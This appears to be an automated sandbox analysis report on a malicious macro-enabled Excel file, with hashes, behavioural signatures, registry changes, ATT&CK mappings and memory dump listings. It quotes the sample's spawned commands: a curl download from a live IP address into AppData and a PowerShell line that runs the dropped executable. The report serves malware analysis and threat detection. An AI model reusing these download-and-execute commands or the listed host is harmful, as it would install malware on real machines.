10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446

General

Target

10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
Size

85KB
MD5

15e98764d969ee310fb1cdda85a26862
SHA1

718382bbcf75fd62c07ad276ff0201c62f9da1f6
SHA256

10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446
SHA512

8b5879e67765a65c87e6137d43289c848cb279cd6cc36b732f265aabca463ff3efe50c2e8ac86e52e627e59c04908b31f4aa5b44df8f619cccdca2a3ffe43a85

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 2 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.execmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1188	2028	powershell.exe	EXCEL.EXE
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	1084	2028	cmd.exe	EXCEL.EXE

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry
T1012

System Information Discovery
T1082

Processes:

EXCEL.EXE

description ioc process

Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 9 IoCs

adware spyware

Modify Registry

T1112

Processes:

EXCEL.EXE

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000"	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote	EXCEL.EXE
Set value (int)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar	EXCEL.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes"	EXCEL.EXE
Key created	\REGISTRY\USER\S-1-5-21-2513283230-931923277-594887482-1000\Software\Microsoft\Internet Explorer\MenuExt	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

2028 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1188 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1188 powershell.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

EXCEL.EXE

pid process

2028 EXCEL.EXE
2028 EXCEL.EXE
2028 EXCEL.EXE
2028 EXCEL.EXE
2028 EXCEL.EXE
2028 EXCEL.EXE

pid	process
2028	EXCEL.EXE

pid	process
1188	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1188	powershell.exe

pid	process
2028	EXCEL.EXE
2028	EXCEL.EXE
2028	EXCEL.EXE
2028	EXCEL.EXE
2028	EXCEL.EXE
2028	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 2028 wrote to memory of 1188	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1188	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1188	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1188	2028	EXCEL.EXE	powershell.exe
PID 2028 wrote to memory of 1084	2028	EXCEL.EXE	cmd.exe
PID 2028 wrote to memory of 1084	2028	EXCEL.EXE	cmd.exe
PID 2028 wrote to memory of 1084	2028	EXCEL.EXE	cmd.exe
PID 2028 wrote to memory of 1084	2028	EXCEL.EXE	cmd.exe

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\10a3c0dc25be73191ca2ea5dc2730e07e544d44549954244d0cb36a94bf6c446.xlsm
1⤵
- Enumerates system info in registry
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2028

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
powershell.exe start-sleep 10; $x=$env:AppData+'\mYKCY.exe';Invoke-Expression $x
2⤵
- Process spawned unexpected child process
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1188

C:\Windows\SysWOW64\cmd.exe
cmd /c curl http://151.236.30.123/images/suntogether.png -o %appdata%\mYKCY.exe
2⤵
- Process spawned unexpected child process
PID:1084

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1084-64-0x0000000000000000-mapping.dmp

Download
memory/1188-70-0x0000000005240000-0x0000000005241000-memory.dmp

Filesize
4KB

Download
memory/1188-104-0x0000000006610000-0x0000000006611000-memory.dmp

Filesize
4KB

Download
memory/1188-69-0x0000000001EA0000-0x0000000002AEA000-memory.dmp

Filesize
12.3MB

Download
memory/1188-103-0x0000000006600000-0x0000000006601000-memory.dmp

Filesize
4KB

Download
memory/1188-65-0x00000000765F1000-0x00000000765F3000-memory.dmp

Filesize
8KB

Download
memory/1188-66-0x0000000002360000-0x0000000002361000-memory.dmp

Filesize
4KB

Download
memory/1188-67-0x0000000004770000-0x0000000004771000-memory.dmp

Filesize
4KB

Download
memory/1188-68-0x0000000002650000-0x0000000002651000-memory.dmp

Filesize
4KB

Download
memory/1188-63-0x0000000000000000-mapping.dmp

Download
memory/1188-89-0x0000000006340000-0x0000000006341000-memory.dmp

Filesize
4KB

Download
memory/1188-74-0x0000000005750000-0x0000000005751000-memory.dmp

Filesize
4KB

Download
memory/1188-72-0x000000007EF30000-0x000000007EF31000-memory.dmp

Filesize
4KB

Download
memory/1188-79-0x0000000006240000-0x0000000006241000-memory.dmp

Filesize
4KB

Download
memory/1188-80-0x0000000006290000-0x0000000006291000-memory.dmp

Filesize
4KB

Download
memory/1188-87-0x00000000063C0000-0x00000000063C1000-memory.dmp

Filesize
4KB

Download
memory/1188-88-0x00000000064E0000-0x00000000064E1000-memory.dmp

Filesize
4KB

Download
memory/2028-62-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2028-61-0x0000000071CC1000-0x0000000071CC3000-memory.dmp

Filesize
8KB

Download
memory/2028-60-0x000000002F4F1000-0x000000002F4F4000-memory.dmp

Filesize
12KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads